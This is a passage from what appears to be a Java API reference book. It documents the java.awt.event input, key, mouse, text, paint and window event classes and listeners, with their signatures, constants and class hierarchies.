This abstract class serves as the superclass for the raw user input event types MouseEvent and KeyEvent. Use the inherited getComponent() method to determine in which component the event occurred. Use getWhen() to obtain a timestamp for the event. Use getModifiers() to determine which keyboard modifier keys or mouse buttons were down when the event occurred. You can decode the getModifiers() return value using the various _MASK constants defined by this class. The class also defines four convenience methods for determining the state of keyboard modifiers.

As of Java 1.1, input events are delivered to the appropriate listener objects before they are delivered to the AWT components themselves. If a listener calls the consume() method of the event, the event is not passed on to the component. For example, if a listener registered on a Button consumes a mouse click, it prevents the button itself from responding to that event. You can use isConsumed() to test whether some other listener object has already consumed the event.

public abstract class InputEvent extends ComponentEvent {
// | No Constructor
// | Public Constants
1.2 | public static final int ALT_GRAPH_MASK ; | =32
 | public static final int ALT_MASK ; | =8
 | public static final int BUTTON1_MASK ; | =16
 | public static final int BUTTON2_MASK ; | =8
 | public static final int BUTTON3_MASK ; | =4
 | public static final int CTRL_MASK ; | =2
 | public static final int META_MASK ; | =4
 | public static final int SHIFT_MASK ; | =1
// | Property Accessor Methods (by property name)
 | public boolean isAltDown (); |
1.2 | public boolean isAltGraphDown (); |
 | public boolean isConsumed (); | Overrides:AWTEvent
 | public boolean isControlDown (); |
 | public boolean isMetaDown (); |
 | public int getModifiers (); |
 | public boolean isShiftDown (); |
 | public long getWhen (); |
// | Public Methods Overriding AWTEvent
 | public void consume (); |
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->AWTEvent-->ComponentEvent-->InputEvent

Subclasses: KeyEvent, MouseEvent

Passed To: java.awt.dnd.DragGestureRecognizer.appendEvent()

Returned By: java.awt.dnd.DragGestureEvent.getTriggerEvent(), java.awt.dnd.DragGestureRecognizer.getTriggerEvent()

InputMethodEvent | Java 1.2
java.awt.event | serializable event

Events of this type are sent from an input method to the text input component or text composition window that is using the services of the input method. An InputMethodEvent is generated each time the user makes an edit to the text that is being composed. Input method details are usually hidden by text input components. Application-level code should never have to use this class.

The getText() method returns a java.text.AttributedCharacterIterator that contains the current input method text. getCommittedCharacterCount() specifies how many characters of that text have been fully composed and committed, so that they are ready to be integrated into the text input component. The input method does not send these committed characters again. Any characters returned by the iterator beyond the specified number of committed characters are characters that are still undergoing composition and are not ready to be integrated into the text input component. These characters may be repeated in future InputMethodEvent objects, as the user continues to edit them.

public class InputMethodEvent extends AWTEvent {
// | Public Constructors
 | public InputMethodEvent (Component source, int id, java.awt.font.TextHitInfo caret, java.awt.font.TextHitInfo visiblePosition); |
 | public InputMethodEvent (Component source, int id, java.text.AttributedCharacterIterator text, int committedCharacterCount, java.awt.font.TextHitInfo caret, java.awt.font.TextHitInfo visiblePosition); |
// | Public Constants
 | public static final int CARET_POSITION_CHANGED ; | =1101
 | public static final int INPUT_METHOD_FIRST ; | =1100
 | public static final int INPUT_METHOD_LAST ; | =1101
 | public static final int INPUT_METHOD_TEXT_CHANGED ; | =1100
// | Property Accessor Methods (by property name)
 | public java.awt.font.TextHitInfo getCaret (); |
 | public int getCommittedCharacterCount (); |
 | public boolean isConsumed (); | Overrides:AWTEvent
 | public java.text.AttributedCharacterIterator getText (); |
 | public java.awt.font.TextHitInfo getVisiblePosition (); |
// | Public Methods Overriding AWTEvent
 | public void consume (); |
 | public String paramString (); |
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->AWTEvent-->InputMethodEvent

Passed To: AWTEventMulticaster.{caretPositionChanged(), inputMethodTextChanged()}, Component.processInputMethodEvent(), InputMethodListener.{caretPositionChanged(), inputMethodTextChanged()}, javax.swing.text.JTextComponent.processInputMethodEvent()

InputMethodListener | Java 1.2
java.awt.event | event listener

This interface defines the methods that a text input component must define in order to receive notifications from an input method. caretPositionChanged() is invoked when the user has moved the editing cursor. inputMethodTextChanged() is invoked when the user has edited text being composed by the input method.

Input method details are usually hidden by text input components. Application-level code should never have to use or implement this interface.

public abstract interface InputMethodListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void caretPositionChanged (InputMethodEvent event);
 | public abstract void inputMethodTextChanged (InputMethodEvent event);
}

Hierarchy: (InputMethodListener(java.util.EventListener))

Implementations: AWTEventMulticaster

Passed To: AWTEventMulticaster.{add(), remove()}, Component.{addInputMethodListener(), removeInputMethodListener()}, javax.swing.text.JTextComponent.addInputMethodListener()

Returned By: AWTEventMulticaster.{add(), remove()}

InvocationEvent | Java 1.2
java.awt.event | serializable event

An event of this type is not generated by an asynchronous external event, such as user input. Instead, an InvocationEvent is placed on the event queue by the invokeLater() and invokeAndWait() methods of EventQueue. InvocationEvent implements java.awt.ActiveEvent, which means that it is an event that knows how to dispatch itself, with its own dispatch() method. When an InvocationEvent reaches the front of the event queue, its dispatch() method is called, and this invokes the run() method of the Runnable object specified when the InvocationEvent was created. This technique provides a simple method for running arbitrary code from the event dispatch thread.

Applications need not be concerned with these details; they can simply use the invokeLater() and invokeAndWait() methods of EventQueue.

public class InvocationEvent extends AWTEvent implements ActiveEvent {
// | Public Constructors
 | public InvocationEvent (Object source, Runnable runnable); |
 | public InvocationEvent (Object source, Runnable runnable, Object notifier, boolean catchExceptions); |
// | Protected Constructors
 | protected InvocationEvent (Object source, int id, Runnable runnable, Object notifier, boolean catchExceptions); |
// | Public Constants
 | public static final int INVOCATION_DEFAULT ; | =1200
 | public static final int INVOCATION_FIRST ; | =1200
 | public static final int INVOCATION_LAST ; | =1200
// | Public Instance Methods
 | public Exception getException (); |
// | Methods Implementing ActiveEvent
 | public void dispatch (); |
// | Public Methods Overriding AWTEvent
 | public String paramString (); |
// | Protected Instance Fields
 | protected boolean catchExceptions ; |
 | protected Object notifier ; |
 | protected Runnable runnable ; |
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->AWTEvent-->InvocationEvent(ActiveEvent)

ItemEvent | Java 1.1
java.awt.event | serializable event PJ1.1

An event of this type indicates that an item within an ItemSelectable component has had its selection state changed. getItemSelectable() is a convenient alternative to getSource() that returns the ItemSelectable object that originated the event. getItem() returns an object that represents the item that was selected or deselected.

getID() returns the type of the ItemEvent. The standard AWT components always generate item events of type ITEM_STATE_CHANGED. The getStateChange() method returns the new selection state of the item: it returns one of the constants SELECTED or DESELECTED. (This value can be misleading for Checkbox components that are part of a CheckboxGroup. If the user attempts to deselect a selected component, a DESELECTED event is delivered, but the CheckboxGroup immediately reselects the component to enforce its requirement that at least one Checkbox be selected at all times.)

public class ItemEvent extends AWTEvent {
// | Public Constructors
 | public ItemEvent (ItemSelectable source, int id, Object item, int stateChange); |
// | Public Constants
 | public static final int DESELECTED ; | =2
 | public static final int ITEM_FIRST ; | =701
 | public static final int ITEM_LAST ; | =701
 | public static final int ITEM_STATE_CHANGED ; | =701
 | public static final int SELECTED ; | =1
// | Public Instance Methods
 | public Object getItem (); |
 | public ItemSelectable getItemSelectable (); |
 | public int getStateChange (); |
// | Public Methods Overriding AWTEvent
 | public String paramString (); |
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->AWTEvent-->ItemEvent

Passed To: AWTEventMulticaster.itemStateChanged(), Checkbox.processItemEvent(), CheckboxMenuItem.processItemEvent(), Choice.processItemEvent(), java.awt.List.processItemEvent(), ItemListener.itemStateChanged(), javax.swing.AbstractButton.fireItemStateChanged(), javax.swing.DefaultButtonModel.fireItemStateChanged(), javax.swing.DefaultCellEditor.EditorDelegate.itemStateChanged(), javax.swing.JComboBox.fireItemStateChanged(), javax.swing.JToggleButton.AccessibleJToggleButton.itemStateChanged()

ItemListener | Java 1.1
java.awt.event | event listener PJ1.1

This interface defines the method that an object must implement to listen for item events on AWT components. When an ItemEvent occurs, an AWT component notifies its registered ItemListener objects by invoking their itemStateChanged() methods.

public abstract interface ItemListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void itemStateChanged (ItemEvent e);
}

Hierarchy: (ItemListener(java.util.EventListener))

Implementations: AWTEventMulticaster, javax.swing.DefaultCellEditor.EditorDelegate, javax.swing.JToggleButton.AccessibleJToggleButton

Passed To: Too many methods to list.

Returned By: AWTEventMulticaster.{add(), remove()}, javax.swing.AbstractButton.createItemListener()

Type Of: javax.swing.AbstractButton.itemListener

KeyAdapter | Java 1.1
java.awt.event | event adapter PJ1.1

This class is a trivial implementation of KeyListener; it provides empty bodies for each of the methods of that interface. When you are not interested in all of these methods, it is often easier to subclass KeyAdapter than it is to implement KeyListener from scratch.

public abstract class KeyAdapter implements KeyListener {
// | Public Constructors
 | public KeyAdapter (); |
// | Methods Implementing KeyListener
 | public void keyPressed (KeyEvent e); | empty
 | public void keyReleased (KeyEvent e); | empty
 | public void keyTyped (KeyEvent e); | empty
}

Hierarchy: Object-->KeyAdapter(KeyListener(java.util.EventListener))

KeyEvent | Java 1.1
java.awt.event | serializable event PJ1.1

An event of this type indicates that the user has pressed or released a key on the keyboard. Call getID() to determine the particular type of key event that has occurred. The constant KEY_PRESSED indicates that a key has been pressed, while the constant KEY_RELEASED indicates that a key has been released. Not all keystrokes actually correspond to or generate Unicode characters. Modifier keys and function keys, for example, do not correspond to characters. Furthermore, for internationalized input, multiple keystrokes are sometimes required to generate a single character of input. Therefore, getID() returns a third constant, KEY_TYPED, to indicate a KeyEvent that actually contains a character value.

For KEY_PRESSED and KEY_RELEASED key events, use getKeyCode() to obtain the virtual keycode of the key that was pressed or released. KeyEvent defines a number of VK_ constants that represent these virtual keys. Note that not all keys on all keyboards have corresponding constants in the KeyEvent class, and not all keyboards can generate all of the virtual keycodes defined by this class. As of Java 1.1, the VK_ constants for letter keys, number keys, and some other keys have the same values as the ASCII encodings of the letters and numbers. You should not rely on this to always be the case, however. If the key that was pressed or released corresponds directly to a Unicode character, you can obtain that character by calling getKeyChar(). If there is not a corresponding Unicode character, this method returns the constant CHAR_UNDEFINED. The isActionKey() method returns true if the key that was pressed or released does not have a corresponding character.

For KEY_TYPED key events, use getKeyChar() to return the Unicode character that was typed. If you call getKeyCode() for this type of key event, it returns VK_UNDEFINED.

See InputEvent for information on inherited methods you can use to obtain the keyboard modifiers that were down during the event and other important methods. Use getComponent(), inherited from ComponentEvent, to determine over what component the event occurred. The static method getKeyText() returns a (possibly localized) textual name for a given keycode. The static method getKeyModifiersText() returns a (possibly localized) textual description for a set of modifiers.

KeyEvent has methods that allow you to change the keycode, key character, or modifiers of an event. These methods, along with the consume() method, allow a KeyListener to perform filtering of key events before they are passed to the underlying AWT component.

public class KeyEvent extends InputEvent {
// | Public Constructors
 | public KeyEvent (Component source, int id, long when, int modifiers, int keyCode); |
 | public KeyEvent (Component source, int id, long when, int modifiers, int keyCode, char keyChar); |
// | Public Constants
 | public static final char CHAR_UNDEFINED ; | ='\uFFFF'
 | public static final int KEY_FIRST ; | =400
 | public static final int KEY_LAST ; | =402
 | public static final int KEY_PRESSED ; | =401
 | public static final int KEY_RELEASED ; | =402
 | public static final int KEY_TYPED ; | =400
 | public static final int VK_0 ; | =48
 | public static final int VK_1 ; | =49
 | public static final int VK_2 ; | =50
 | public static final int VK_3 ; | =51
 | public static final int VK_4 ; | =52
 | public static final int VK_5 ; | =53
 | public static final int VK_6 ; | =54
 | public static final int VK_7 ; | =55
 | public static final int VK_8 ; | =56
 | public static final int VK_9 ; | =57
 | public static final int VK_A ; | =65
 | public static final int VK_ACCEPT ; | =30
 | public static final int VK_ADD ; | =107
1.2 | public static final int VK_AGAIN ; | =65481
1.2 | public static final int VK_ALL_CANDIDATES ; | =256
1.2 | public static final int VK_ALPHANUMERIC ; | =240
 | public static final int VK_ALT ; | =18
1.2 | public static final int VK_ALT_GRAPH ; | =65406
1.2 | public static final int VK_AMPERSAND ; | =150
1.2 | public static final int VK_ASTERISK ; | =151
1.2 | public static final int VK_AT ; | =512
 | public static final int VK_B ; | =66
 | public static final int VK_BACK_QUOTE ; | =192
 | public static final int VK_BACK_SLASH ; | =92
 | public static final int VK_BACK_SPACE ; | =8
1.2 | public static final int VK_BRACELEFT ; | =161
1.2 | public static final int VK_BRACERIGHT ; | =162
 | public static final int VK_C ; | =67
 | public static final int VK_CANCEL ; | =3
 | public static final int VK_CAPS_LOCK ; | =20
1.2 | public static final int VK_CIRCUMFLEX ; | =514
 | public static final int VK_CLEAR ; | =12
 | public static final int VK_CLOSE_BRACKET ; | =93
1.2 | public static final int VK_CODE_INPUT ; | =258
1.2 | public static final int VK_COLON ; | =513
 | public static final int VK_COMMA ; | =44
1.2 | public static final int VK_COMPOSE ; | =65312
 | public static final int VK_CONTROL ; | =17
 | public static final int VK_CONVERT ; | =28
1.2 | public static final int VK_COPY ; | =65485
1.2 | public static final int VK_CUT ; | =65489
 | public static final int VK_D ; | =68
1.2 | public static final int VK_DEAD_ABOVEDOT ; | =134
1.2 | public static final int VK_DEAD_ABOVERING ; | =136
1.2 | public static final int VK_DEAD_ACUTE ; | =129
1.2 | public static final int VK_DEAD_BREVE ; | =133
1.2 | public static final int VK_DEAD_CARON ; | =138
1.2 | public static final int VK_DEAD_CEDILLA ; | =139
1.2 | public static final int VK_DEAD_CIRCUMFLEX ; | =130
1.2 | public static final int VK_DEAD_DIAERESIS ; | =135
1.2 | public static final int VK_DEAD_DOUBLEACUTE ; | =137
1.2 | public static final int VK_DEAD_GRAVE ; | =128
1.2 | public static final int VK_DEAD_IOTA ; | =141
1.2 | public static final int VK_DEAD_MACRON ; | =132
1.2 | public static final int VK_DEAD_OGONEK ; | =140
1.2 | public static final int VK_DEAD_SEMIVOICED_SOUND ; | =143
1.2 | public static final int VK_DEAD_TILDE ; | =131
1.2 | public static final int VK_DEAD_VOICED_SOUND ; | =142
 | public static final int VK_DECIMAL ; | =110
 | public static final int VK_DELETE ; | =127
 | public static final int VK_DIVIDE ; | =111
1.2 | public static final int VK_DOLLAR ; | =515
 | public static final int VK_DOWN ; | =40
 | public static final int VK_E ; | =69
 | public static final int VK_END ; | =35
 | public static final int VK_ENTER ; | =10
 | public static final int VK_EQUALS ; | =61
 | public static final int VK_ESCAPE ; | =27
1.2 | public static final int VK_EURO_SIGN ; | =516
1.2 | public static final int VK_EXCLAMATION_MARK ; | =517
 | public static final int VK_F ; | =70
 | public static final int VK_F1 ; | =112
 | public static final int VK_F10 ; | =121
 | public static final int VK_F11 ; | =122
 | public static final int VK_F12 ; | =123
1.2 | public static final int VK_F13 ; | =61440
1.2 | public static final int VK_F14 ; | =61441
1.2 | public static final int VK_F15 ; | =61442
1.2 | public static final int VK_F16 ; | =61443
1.2 | public static final int VK_F17 ; | =61444
1.2 | public static final int VK_F18 ; | =61445
1.2 | public static final int VK_F19 ; | =61446
 | public static final int VK_F2 ; | =113
1.2 | public static final int VK_F20 ; | =61447
1.2 | public static final int VK_F21 ; | =61448
1.2 | public static final int VK_F22 ; | =61449
1.2 | public static final int VK_F23 ; | =61450
1.2 | public static final int VK_F24 ; | =61451
 | public static final int VK_F3 ; | =114
 | public static final int VK_F4 ; | =115
 | public static final int VK_F5 ; | =116
 | public static final int VK_F6 ; | =117
 | public static final int VK_F7 ; | =118
 | public static final int VK_F8 ; | =119
 | public static final int VK_F9 ; | =120
 | public static final int VK_FINAL ; | =24
1.2 | public static final int VK_FIND ; | =65488
1.2 | public static final int VK_FULL_WIDTH ; | =243
 | public static final int VK_G ; | =71
1.2 | public static final int VK_GREATER ; | =160
 | public static final int VK_H ; | =72
1.2 | public static final int VK_HALF_WIDTH ; | =244
 | public static final int VK_HELP ; | =156
1.2 | public static final int VK_HIRAGANA ; | =242
 | public static final int VK_HOME ; | =36
 | public static final int VK_I ; | =73
 | public static final int VK_INSERT ; | =155
1.2 | public static final int VK_INVERTED_EXCLAMATION_MARK ; | =518
 | public static final int VK_J ; | =74
1.2 | public static final int VK_JAPANESE_HIRAGANA ; | =260
1.2 | public static final int VK_JAPANESE_KATAKANA ; | =259
1.2 | public static final int VK_JAPANESE_ROMAN ; | =261
 | public static final int VK_K ; | =75
 | public static final int VK_KANA ; | =21
 | public static final int VK_KANJI ; | =25
1.2 | public static final int VK_KATAKANA ; | =241
1.2 | public static final int VK_KP_DOWN ; | =225
1.2 | public static final int VK_KP_LEFT ; | =226
1.2 | public static final int VK_KP_RIGHT ; | =227
1.2 | public static final int VK_KP_UP ; | =224
 | public static final int VK_L ; | =76
 | public static final int VK_LEFT ; | =37
1.2 | public static final int VK_LEFT_PARENTHESIS ; | =519
1.2 | public static final int VK_LESS ; | =153
 | public static final int VK_M ; | =77
 | public static final int VK_META ; | =157
1.2 | public static final int VK_MINUS ; | =45
 | public static final int VK_MODECHANGE ; | =31
 | public static final int VK_MULTIPLY ; | =106
 | public static final int VK_N ; | =78
 | public static final int VK_NONCONVERT ; | =29
 | public static final int VK_NUM_LOCK ; | =144
1.2 | public static final int VK_NUMBER_SIGN ; | =520
 | public static final int VK_NUMPAD0 ; | =96
 | public static final int VK_NUMPAD1 ; | =97
 | public static final int VK_NUMPAD2 ; | =98
 | public static final int VK_NUMPAD3 ; | =99
 | public static final int VK_NUMPAD4 ; | =100
 | public static final int VK_NUMPAD5 ; | =101
 | public static final int VK_NUMPAD6 ; | =102
 | public static final int VK_NUMPAD7 ; | =103
 | public static final int VK_NUMPAD8 ; | =104
 | public static final int VK_NUMPAD9 ; | =105
 | public static final int VK_O ; | =79
 | public static final int VK_OPEN_BRACKET ; | =91
 | public static final int VK_P ; | =80
 | public static final int VK_PAGE_DOWN ; | =34
 | public static final int VK_PAGE_UP ; | =33
1.2 | public static final int VK_PASTE ; | =65487
 | public static final int VK_PAUSE ; | =19
 | public static final int VK_PERIOD ; | =46
1.2 | public static final int VK_PLUS ; | =521
1.2 | public static final int VK_PREVIOUS_CANDIDATE ; | =257
 | public static final int VK_PRINTSCREEN ; | =154
1.2 | public static final int VK_PROPS ; | =65482
 | public static final int VK_Q ; | =81
 | public static final int VK_QUOTE ; | =222
1.2 | public static final int VK_QUOTEDBL ; | =152
 | public static final int VK_R ; | =82
 | public static final int VK_RIGHT ; | =39
1.2 | public static final int VK_RIGHT_PARENTHESIS ; | =522
1.2 | public static final int VK_ROMAN_CHARACTERS ; | =245
 | public static final int VK_S ; | =83
 | public static final int VK_SCROLL_LOCK ; | =145
 | public static final int VK_SEMICOLON ; | =59
 | public static final int VK_SEPARATER ; | =108
 | public static final int VK_SHIFT ; | =16
 | public static final int VK_SLASH ; | =47
 | public static final int VK_SPACE ; | =32
1.2 | public static final int VK_STOP ; | =65480
 | public static final int VK_SUBTRACT ; | =109
 | public static final int VK_T ; | =84
 | public static final int VK_TAB ; | =9
 | public static final int VK_U ; | =85
 | public static final int VK_UNDEFINED ; | =0
1.2 | public static final int VK_UNDERSCORE ; | =523
1.2 | public static final int VK_UNDO ; | =65483
 | public static final int VK_UP ; | =38
 | public static final int VK_V ; | =86
 | public static final int VK_W ; | =87
 | public static final int VK_X ; | =88
 | public static final int VK_Y ; | =89
 | public static final int VK_Z ; | =90
// | Public Class Methods
 | public static String getKeyModifiersText (int modifiers); |
 | public static String getKeyText (int keyCode); |
// | Property Accessor Methods (by property name)
 | public boolean isActionKey (); |
 | public char getKeyChar (); |
 | public void setKeyChar (char keyChar); |
 | public int getKeyCode (); |
 | public void setKeyCode (int keyCode); |
// | Public Instance Methods
 | public void setModifiers (int modifiers); |
// | Public Methods Overriding ComponentEvent
 | public String paramString (); |
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->AWTEvent-->ComponentEvent-->InputEvent-->KeyEvent

Subclasses: javax.swing.event.MenuKeyEvent

Passed To: Too many methods to list.

KeyListener | Java 1.1
java.awt.event | event listener PJ1.1

This interface defines the methods that an object must implement to listen for key events on AWT components. When a KeyEvent occurs, an AWT component notifies its registered KeyListener objects by invoking one of their methods. An easy way to implement this interface is by subclassing the KeyAdapter class.

public abstract interface KeyListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void keyPressed (KeyEvent e);
 | public abstract void keyReleased (KeyEvent e);
 | public abstract void keyTyped (KeyEvent e);
}

Hierarchy: (KeyListener(java.util.EventListener))

Implementations: AWTEventMulticaster, KeyAdapter

Passed To: AWTEventMulticaster.{add(), remove()}, Component.{addKeyListener(), removeKeyListener()}

Returned By: AWTEventMulticaster.{add(), remove()}

MouseAdapter | Java 1.1
java.awt.event | event adapter PJ1.1

This class is a trivial implementation of MouseListener; it provides empty bodies for each of the methods of that interface. When you are not interested in all of these methods, it is often easier to subclass MouseAdapter than it is to implement MouseListener from scratch.

public abstract class MouseAdapter implements MouseListener {
// | Public Constructors
 | public MouseAdapter (); |
// | Methods Implementing MouseListener
 | public void mouseClicked (MouseEvent e); | empty
 | public void mouseEntered (MouseEvent e); | empty
 | public void mouseExited (MouseEvent e); | empty
 | public void mousePressed (MouseEvent e); | empty
 | public void mouseReleased (MouseEvent e); | empty
}

Hierarchy: Object-->MouseAdapter(MouseListener(java.util.EventListener))

Subclasses: javax.swing.ToolTipManager, javax.swing.text.html.FormView.MouseEventListener, javax.swing.text.html.HTMLEditorKit.LinkController

MouseEvent | Java 1.1
java.awt.event | serializable event PJ1.1

An event of this type indicates that the user has moved the mouse or pressed one of the mouse buttons. Call getID() to determine the specific type of mouse event that has occurred. This method returns one of the following seven constants, which corresponds to a method in either the MouseListener or MouseMotionListener interface:

MOUSE_PRESSED

The user has pressed a mouse button.

MOUSE_RELEASED

The user has released a mouse button.

MOUSE_CLICKED

The user has pressed and released a mouse button without any intervening mouse drag.

MOUSE_DRAGGED

The user has moved the mouse while holding a button down.

MOUSE_MOVED

The user has moved the mouse without holding any buttons down.

MOUSE_ENTERED

The mouse pointer has entered the component.

MOUSE_EXITED

The mouse pointer has left the component.

Use getX() and getY() or getPoint() to obtain the coordinates of the mouse event. Use translatePoint() to modify these coordinates by a specified amount.

Use getModifiers() and other methods and constants inherited from InputEvent to determine the mouse button or keyboard modifiers that were down when the event occurred. See InputEvent for details. Note that mouse button modifiers are not reported for MOUSE_RELEASED events, since, technically, the mouse button in question is no longer pressed.

Use getComponent(), inherited from ComponentEvent, to determine over which component the event occurred. For mouse events of type MOUSE_CLICKED, MOUSE_PRESSED, or MOUSE_RELEASED, call getClickCount() to determine how many consecutive clicks have occurred. If you are using popup menus, use isPopupTrigger() to test whether the current event represents the standard platform-dependent popup menu trigger event.

public class MouseEvent extends InputEvent {
// | Public Constructors
 | public MouseEvent (Component source, int id, long when, int modifiers, int x, int y, int clickCount, boolean popupTrigger); |
// | Public Constants
 | public static final int MOUSE_CLICKED ; | =500
 | public static final int MOUSE_DRAGGED ; | =506
 | public static final int MOUSE_ENTERED ; | =504
 | public static final int MOUSE_EXITED ; | =505
 | public static final int MOUSE_FIRST ; | =500
 | public static final int MOUSE_LAST ; | =506
 | public static final int MOUSE_MOVED ; | =503
 | public static final int MOUSE_PRESSED ; | =501
 | public static final int MOUSE_RELEASED ; | =502
// | Property Accessor Methods (by property name)
 | public int getClickCount (); |
 | public Point getPoint (); |
 | public boolean isPopupTrigger (); |
 | public int getX (); |
 | public int getY (); |
// | Public Instance Methods
 | public void translatePoint (int x, int y); | synchronized
// | Public Methods Overriding ComponentEvent
 | public String paramString (); |
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->AWTEvent-->ComponentEvent-->InputEvent-->MouseEvent

Subclasses: javax.swing.event.MenuDragMouseEvent

Passed To: Too many methods to list.

Returned By: javax.swing.SwingUtilities.convertMouseEvent()

MouseListener | Java 1.1
java.awt.event | event listener PJ1.1

This interface defines the methods that an object must implement to listen for mouse events on AWT components. When a MouseEvent occurs, an AWT component notifies its registered MouseListener objects (or MouseMotionListener objects, if the event involves mouse motion) by invoking one of their methods. An easy way to implement this interface is by subclassing the MouseAdapter class.

public abstract interface MouseListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void mouseClicked (MouseEvent e);
 | public abstract void mouseEntered (MouseEvent e);
 | public abstract void mouseExited (MouseEvent e);
 | public abstract void mousePressed (MouseEvent e);
 | public abstract void mouseReleased (MouseEvent e);
}

Hierarchy: (MouseListener(java.util.EventListener))

Implementations: AWTEventMulticaster, java.awt.dnd.MouseDragGestureRecognizer, MouseAdapter, javax.swing.event.MouseInputListener, javax.swing.text.DefaultCaret

Passed To: AWTEventMulticaster.{add(), remove()}, Component.{addMouseListener(), removeMouseListener()}

Returned By: AWTEventMulticaster.{add(), remove()}

MouseMotionAdapter | Java 1.1
java.awt.event | event adapter PJ1.1

This class is a trivial implementation of MouseMotionListener; it provides empty bodies for each of the methods of that interface. When you are not interested in all of these methods, it is often easier to subclass MouseMotionAdapter than it is to implement MouseMotionListener from scratch.

public abstract class MouseMotionAdapter implements MouseMotionListener {
// | Public Constructors
 | public MouseMotionAdapter (); |
// | Methods Implementing MouseMotionListener
 | public void mouseDragged (MouseEvent e); | empty
 | public void mouseMoved (MouseEvent e); | empty
}

Hierarchy: Object-->MouseMotionAdapter(MouseMotionListener(java.util.EventListener))

MouseMotionListener | Java 1.1
java.awt.event | event listener PJ1.1

This interface defines the methods that an object must implement to listen for mouse motion events on AWT components. When a MouseEvent involving a mouse drag or mouse motion with no buttons down occurs, an AWT component notifies its registered MouseMotionListener objects by invoking one of their methods. An easy way to implement this is by subclassing the MouseMotionAdapter class.

public abstract interface MouseMotionListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void mouseDragged (MouseEvent e);
 | public abstract void mouseMoved (MouseEvent e);
}

Hierarchy: (MouseMotionListener(java.util.EventListener))

Implementations: AWTEventMulticaster, java.awt.dnd.MouseDragGestureRecognizer, MouseMotionAdapter, javax.swing.ToolTipManager, javax.swing.event.MouseInputListener, javax.swing.text.DefaultCaret

Passed To: AWTEventMulticaster.{add(), remove()}, Component.{addMouseMotionListener(), removeMouseMotionListener()}

Returned By: AWTEventMulticaster.{add(), remove()}

PaintEvent | Java 1.1
java.awt.event | serializable event PJ1.1

An event of this type indicates that a component should have its update() method invoked. (The update() method typically, by default, invokes the paint() method.)

PaintEvent differs from the other event types in java.awt.event in that it does not have a corresponding EventListener interface. PaintEvent is essentially for internal use by the AWT redisplay framework, so your programs should not try to handle it the way they handle other events. Instead, applets and custom components should simply override their paint() and/or update() methods to redraw themselves appropriately. AWT automatically invokes update() (which typically invokes paint()) when a PaintEvent arrives.

Although you do not typically use PaintEvent, redraw events are implemented through this class for simplicity, so that they are on equal footing with other event types and so that advanced programs can manipulate them through the EventQueue.

public class PaintEvent extends ComponentEvent {
// | Public Constructors
 | public PaintEvent (Component source, int id, Rectangle updateRect); |
// | Public Constants
 | public static final int PAINT ; | =800
 | public static final int PAINT_FIRST ; | =800
 | public static final int PAINT_LAST ; | =801
 | public static final int UPDATE ; | =801
// | Public Instance Methods
 | public Rectangle getUpdateRect (); |
 | public void setUpdateRect (Rectangle updateRect); |
// | Public Methods Overriding ComponentEvent
 | public String paramString (); |
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->AWTEvent-->ComponentEvent-->PaintEvent

TextEvent | Java 1.1
java.awt.event | serializable event PJ1.1

An event of this type indicates that the user has edited the text value that appears in a TextField, TextArea, or other TextComponent. This event is triggered by any change to the displayed text. Note that this is not the same as the ActionEvent sent by the TextField object when the user edits the text and strikes the Return key.

Use the inherited getSource() to determine the object that was the source of this event. You have to cast that object to its TextComponent type. Call getID() to determine the type of a TextEvent. The standard AWT components always generate text events of type TEXT_VALUE_CHANGED.

public class TextEvent extends AWTEvent {
// | Public Constructors
 | public TextEvent (Object source, int id); |
// | Public Constants
 | public static final int TEXT_FIRST ; | =900
 | public static final int TEXT_LAST ; | =900
 | public static final int TEXT_VALUE_CHANGED ; | =900
// | Public Methods Overriding AWTEvent
 | public String paramString (); |
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->AWTEvent-->TextEvent

Passed To: AWTEventMulticaster.textValueChanged(), TextComponent.processTextEvent(), TextListener.textValueChanged()

TextListener | Java 1.1
java.awt.event | event listener PJ1.1

This interface defines the method that an object must implement to listen for text events on AWT components. When a TextEvent occurs, an AWT component notifies its registered TextListener objects by invoking their textValueChanged() methods.

public abstract interface TextListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void textValueChanged (TextEvent e);
}

Hierarchy: (TextListener(java.util.EventListener))

Implementations: AWTEventMulticaster

Passed To: AWTEventMulticaster.{add(), remove()}, TextComponent.{addTextListener(), removeTextListener()}

Returned By: AWTEventMulticaster.{add(), remove()}

Type Of: TextComponent.textListener

WindowAdapter | Java 1.1
java.awt.event | event adapter PJ1.1

This class is a trivial implementation of WindowListener; it provides empty bodies for each of the methods of that interface. When you are not interested in all of these methods, it is often easier to subclass WindowAdapter than it is to implement WindowListener from scratch.

public abstract class WindowAdapter implements WindowListener {
// | Public Constructors
 | public WindowAdapter (); |
// | Methods Implementing WindowListener
 | public void windowActivated (WindowEvent e); | empty
 | public void windowClosed (WindowEvent e); | empty
 | public void windowClosing (WindowEvent e); | empty
 | public void windowDeactivated (WindowEvent e); | empty
 | public void windowDeiconified (WindowEvent e); | empty
 | public void windowIconified (WindowEvent e); | empty
 | public void windowOpened (WindowEvent e); | empty
}

Hierarchy: Object-->WindowAdapter(WindowListener(java.util.EventListener))

Subclasses: javax.swing.JMenu.WinListener

WindowEvent | Java 1.1
java.awt.event | serializable event PJ1.1

An event of this type indicates that an important action has occurred for a Window object. Call getWindow() to determine the Window object that is the source of this event. Call getID() to determine the specific type of event that has occurred. Each of the following seven constants corresponds to one of the methods of the WindowListener interface:

WINDOW_OPENED

Indicates that the window has been created and opened; it is delivered only the first time that a window is opened.

WINDOW_CLOSING

Indicates that the user has requested that the window be closed through the system menu, through a close button on the window's border, or by invoking a platform-defined keystroke, such as Alt-F4 in Windows. The application should respond to this event by calling hide() or dispose() on the Window object.

WINDOW_CLOSED

Delivered after a window is closed by a call to hide() or dispose().

WINDOW_ICONIFIED

Delivered when the user iconifies the window.

WINDOW_DEICONIFIED

Delivered when the user deiconifies the window.

WINDOW_ACTIVATED

Delivered when the window is activated--that is, when it is given the keyboard focus and becomes the active window.

